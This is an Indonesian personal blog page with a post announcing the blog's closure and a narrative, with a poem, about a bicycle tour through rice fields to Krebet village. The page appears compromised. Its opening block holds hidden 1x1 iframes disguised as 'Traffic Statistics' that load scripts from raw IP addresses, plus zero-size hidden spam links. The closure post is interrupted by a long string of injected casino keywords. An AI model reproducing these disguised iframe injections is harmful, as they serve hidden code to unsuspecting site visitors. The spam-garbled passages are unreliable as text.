Wim Permana

Blog of Wimkhan

Tentang Komunike

икониикониfont style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://www.videnov.com/#1076;#1080;#1074;#1072;#1085;#1080;/a/fontnike adalah!– Traffic Statistics — iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0/iframe !– End Traffic Statistics –!– Traffic Statistics — iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0font style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://groups.google.com/group/mebeli/web/furniture#1084;#1077;#1073;#1077;#1083;#1080;/a/font/iframe !– End Traffic Statistics — organisasi di bawah payung fakultas teknik.span style=color: #0000ee; text-decoration: underline class=Apple-style-spana href=http://www.wimpermana.web.ugm.ac.id/blog/wp-content/iphone3g.jpg!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — Stats — title=iphone3g.jpgimg src=http://www.wimpermana.web.ugm.ac.id/blog/wp-content/iphone3g.thumbnail.jpg alt=iphone3g.jpg //afont style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://vtsc.info/en/publication/mach-zehnder/a/font/span

  • 6 Comments
  • Filed under: Komunike
  • Assalammu’alaikum Wr. Wb.

    Wahai pembaca dan pengunjung semua. Dengan Post ini saya umumkan bahwa blog yang sedang anda kunjungi sekarang ini mulai sekarang dan seterusnya akan saya tutup. Ini berarti saya sudah tidak akan menggunakan blog ini lagi untuk kegiatan blogging dan sejenisnya. Post-post casino black jackblack jack bettingroulette russecasino bonus whorejeux casino gratiutwww casino jeu frjeu de casino gratuitsle meilleur casinocasino sur le netjeux flash casino gratuitescode bonus casino 770casino en lignescasino depot gratuitesjeux de casino frjouer video pokercasino en francaisjeu craps gratuitesjeux slots en ligneplay slotscasino games pro 2007jeu casino gratuisonline black jack gamejeu casino parisrègles jeux casinobonus casino770www casino en lignecasino gratuits sans telechargementcoupons gratuites casinojeux de cartes casinocasino slots,all slots casino,super slots casinowww casino de pariswww jeux casinojeux casino gratuitescasino gratuites sur internetastuce pour gagner au casinokeno en lignele jeu de casinojeu casino machinecasino jeucoupons bonus casino770thomas black jackcasinos gratuits en ligneforum jeux casinocasino en ligne francaisblackjack jobjeu poker omaha gratuitesregles poker mainspoker en ligne francaispoker en ligne à télécharger gratuitementtexas holdem no limit yang sudah diterbitkan di sini bisa ditemui di blog saya yang ada di WordPress.com.

    Meskipun demikian, Wim Permana masih akan melanjutkan kecintaannya pada dunia tulis-menulis di beberapa blog lain. Berikut blog-blog yang saya maksud.

    1. Wimkhan on WordPress (Terima kasih untuk WordPress yang memberi saya 3 Gb gratis)
    2. ScholarsChamp (Blog untuk Startup saya bersama Fuad)
    3. Air Book (Karya-karya saya dan Fuad Dwi Rizki dalam dunia tulis-menulis dan ilmu komputer).

    Selain ketiga blog di atas, teman-teman juga bisa mengetahui kabar terbaru dari saya dengan mengunjungi halaman Facebook saya di Wim Permana on Facebook.

    Untuk ikut gabung dan beraktivitas bersama saya di internet, teman-teman bisa bergabung dan bahu-membahu membesarkan grup Pemburu Beasiswa di Facebook.

    Demikian pemberitahuan ini. Semoga teman-teman dan pengunjung bisa memaklumi. Terima Kasih dan Wassalammu’alaikum Wr. Wb.

  • 3 Comments
  • Filed under: Hikayat Wim
  • Tour de Krebet

    Minggu 11 November 2007 .

    Allahuakbar, subhanallah, maha suci engkau wahai pencipta semesta alam.
    Hari minggu ini begitu indah, semalam hujan, paginya sendu plus berkabut. Kurang apa lagi ya … ga ada banget deh. Pas.
    Ini adalah cuaca yang sangat pas untuk melakukan apa yang kusebut Bicycle Touring .. sering kusingkat dengan “touring” saja.
    Seperti yang sudah kukatakan pada post sebelumnya bahwa aku akan bercerita mengenai perjalananku ke desa krebet. Hmmm, inilah cerita yang anda nantikan itu.

    Sebelum berangkat, aku harus beli sarapan dulu, bukan hanya untukku, tapi juga buat fauzun n mas jawad, maklum, balas dendam sama traktiran yang kemarin. Asyiknya sarapan bareng itu bukan pada makanan yang dimakan tapi pada keberanian kita untuk “INGAT”; ingat kepada Allah yang sudah memberi teman plus ingat sama temen kita sendiri yang belum makan (toenggggg ….)!

    Oh iya, anda tahu tidak salah satu hal yang membuat anak-anak kost di jogja seneng bukan kepalang setiap hari. Apa ya … ? Punya pacar cantik seperti Dian Sastro (mungkin, cantik kan relatif) atau punya IPK 4 (hmmm, ga jamin man. lagian setiap orang punya pandangan berbeda tantang ip). Tapi ada satu yang sepertinya kebayakan anak kos punya pendapat yang sama tentangnya. Ya itu tadi, kalau di pagi hari ketika mereka masih ada di dalam kamar, ada orang yang berbaik hati membawakan mereka sarapan, yang gratis tentunya. Masyaaallah, alangkah enaknya …

    Coba bayangin, kadang mata masih belekan, belum sikat gigi, buka komputer cuma untuk review file2 yang sudah di utak-atik, n dengerin mp3 aja. Eh, taunya ada yang ngasih harta karun buat perut. Serasa punya jin aladin. “it must be my lucky day“.

    Yang kuberikan kepada dua orang ini sih ga mahal kok, cuma 4 potong kue pukis rasa cokelat (hmmm ….. apa cokelat, uenaknya) plus 2 kantong susu kedelai. Lumayan lah buat menghangatkan perut. Pokoknya enak banget.

    Selesai dengan urusan ini, aku mulai mengisi botol minumku dengan air putih isi ulang (Suqya bukan Aqua, biasalah Aqua itu masih terlalu tinggi buat anak kos seperti aku). Botol kutaruh ditempatnya lalu … Bismillah:

    “Assalammu’alaikum Pak (R. Harohman - Bapak Kost ku), Assalammu’alaikum zun (Fauzun), mas (Mas jawad). Aku pergi dulu ya.”

    Dan touring pun dimulai. Rute yang kuambil sih biasa aja, klise. Dari kosku aku mengambil jalan dongkelan, sampai di simpang empat lampu merah bantul aku ambil jalan lurus yang mengarah ke jalan bantul. Sebagai informasi, aku nggak mau ngbeut2 kalau touring. Sayang tenaganya khan? Iya nggak? Apalagi sama pemandangannya …

    Dari jalan bantul ini, aku terus aja sampai mendapati simpang empat kasongan. Sudah dapat, aku belok ke arah kasongan menuju sawah di Bangunjiwo Bantul. Ntar di sawah ini bakal ada jalan setapak yang ndeso banget. Kenapa ndeso, karena jalan ini merupakan jalan yang tidak hanya berfungsi sebagai jalan buat kendaraan. Tapi juga sebagai
    tempat para petani di sekitar situ untuk mengurus padi dan palawija mereka. Pada sebuah perjalanan, ketika musim panen, aku melihat ada yang menggunakannya untuk memukul-mukul padi, mengatur rumput yang sudah dipotong yang akan digunakan untuk pakan ternak. Hmm, apalagi ya, aku sih taunya cuma itu. Kalau kamu tahu yang lain aku dikasih tau ya.

    Hari ini lumayan seru kalau lewat sini. Betapa tidak? Jalannya masih becek, mesti karena hujan semalem. Kalau becek sih gpp. Yang bikin masalah itu tanahya yang menempel di roda sepedaku. Aduuuuuh, aku jadi “rugi”. Sepedaku kotor abis. Rodanya seperti roda mobil2 off-road penuh lumpur, kotor, ga keren kalau dipakai di aspal yang datar dan bersih.

    Ahh, udahlah, nikmati aja. Sekarang aku bisa ngerti kenapa ada orang yang bela-belain kotor demi olahraga jenis2 ini. Sensasinya beda dengan bersepeda di jalan datar. Kalau di jalan datar, kita bakal dapt sesuatu yang “adem ayem” aja. Kalau di jalanan lumpur, ada “goyang-goyangnya”. tapi nggak ngebor kok.

    Nah ini dia intinya, kalau di jalanan datar, kecepatan jadi yang utama. tapi kalau di jalur (jalanan lumpur), keseimbangan bakal jadi nomor satu. Salah kendali sedikit aja, bisa gawat. Bukan sepeda yang kotor, sekujur badan bakal ikut berlumur lumpur. Wah, kalau bersihin ban sepeda dari lumpur kan gampang. Ambil kayu kering yang kcil terus kita gesek-gesek aja ke lumpur yang menumpul di badan. Kalau yang kotor badan, kita butuh air plus tempat khusus untuk mandi (wah jadi kepikiran, gimana kalau manusia punya kamar mandi portable ya, kan asyik kalau mo ke wc tinggal pakai punya sendiri. kayak hp, mp3 player, flashdisk, dsb).

    Jalan lumpur ini sudah lewat, alhamdulillah aku ggak jatuh. Aaamiiin. Tapi ya itu tadi, sepedaku jadi lumpuran. Khususnya di bagian roda dan sekitar slebor. Juga di dekat-dekat dua rem. Hmm, bakal mengganggu performa sepedaku di jalan datar nih pikirku. Aku putuskan berhenti sejenak, aku cari ranting kecil di emper-emper jalan. Alhamdulillah dapet (huss, ini bukan sinetron lho. tapi aku percaya bahwa hidup kita memang sedikit banyak mirip dengan film atau sinetron dari sisi penyutradaraan, aturannya khan pendek aja; Semua itu sudah diatur sama sutradara).

    Sedikit demi sedikit lumpur itu kuhilangkan. akhirnya, meskipun aku tahu kurang optimal, tapi perjalanan ini harus tetap berlanjut, masa berhenti karena lumpur. ga usah ya. apa kata dunia.

    Hmmm, masyaallah indahnya, di kiri dan kanan jalan aku bahagia sekali waktu melihat ada pak tani dan bu tani yang berjalan dan atau naik sepeda mo berangkat mengurus ladang. Aku tahu mereka miskin (dilihat dari jauh n dekat pokoknya mereka miskin harta), aku tahu mereka nggak punya HP, aku tahu mereka nggak punya Jazz, atau Yaris.

    Tapi lihatlah, dengan onthel yang berkarat-karat, bersama temen-temannya, pak tani dan bu tani ini membuatku iri. mereka sepertinya sangat “ringan” dengan kehidupan yang mereka jalani. kok seperti tidak ada beban berat yang menghimpit. bukankah para pengamat, pakar pertanian atau politisi yang sering muncul di koran sering mengatakan bahwa kehidupan petani indonesia sangat tidak layak alias di bawah garis kemiskinan. secara ekoomi sih aku yang tidak tahu menahu soal GNP, PDB, dsb ini juga tahu bahwa pakar itu benar. tapi kalau dilihat dari sesuatu yang non-konomi aku yakin sekali ada sesuatu yang bekerja dengan benar di dalam sistem kemanusiaan mereka. mungkin bukan fisiknya, tampangnya, hartanya, atau apalah yang kelihatan. ini adalah sesuatu yang mistis, yang semua manusia punya, tapi nggak semua merasa memilikinya. sesuatu ini dinamakan …….

    SYUKUR

    Allah,
    alangkah indahnya melihat pak tani dan bu tani
    sepeda ontel berkarat yang beriak-riak
    sendu di dalam pelukan mentari pagi
    embun yang belum pergi
    menjadi air yang memandikan mereka
    bukan jasmani tentu
    mungkin hati pasti

    angin ini angin sepoi-sepoi
    pertanda kiamat masih lama

    bu tani
    pak tani
    anak-anaknya
    aritnya
    pisaunya
    onthelnya
    mentari pagi
    angin ini
    hijau sawah itu
    arus sungai samping

    buat aku yakin
    bahwa “surga” bisa saja membumi
    tepat di sini
    saat ini

    saat aku bermain sepeda
    tanpa asap atau karbon dioksida
    bahkan letong pun aku dan sepeda tidak ada
    lurus saja,
    bersih saja,
    bersih ya allah
    suci

    ah, kok aku enak sekali kalau di atas sepeda ini
    polos banget aku ya
    beda kalau aku sedang ada di kota
    yang ingin terlihat pintar
    ingin terlihat keren
    ingin terlihat tampan
    ingin terlihat beken
    ingin terlihat bijaksana
    ingin terlihat kalem

    padahal aku nggak gitu2 amat

    hmmm, hooo .. hoooo .. kok malah jadi berpuisi. aku lanjut lagi ya. maaf, bukan puisinya, tapi perjalanannya.

    Sekarang aku sudah sampai di papan nama yang kemarin. Dan ini dia tanjakan yang di hari sabtu kemarin aku gagal menaikinya. Hmm, kali ini inyaallah ga lagi deh. Ku tak mau tak. Ugggg ….. dengan semangat 85 (tahun ibuku melahirkanku dengan penuh tumpah darah) plus keringat yang tercurah-curah akhirya sampai juga. Tapi bukan di desa krebetnya, tapi di puncak tanjakan ini. ini sih posisi bagus buatku. Habis pucak terbitlan turunan. Sip deh, bakal downhill. Senang banget sama downhill. Kayak terbang aja aku. pada saat aku turun,

    Yum … sayang aku sudah lupa kelanjutannya. Tapi tenang saja, aku masih ada niat untuk kembali ke sana suatu hari nanti. Mungkin kalau Allah sudah memperkenankanku lulus dari kampusku. Aduh ….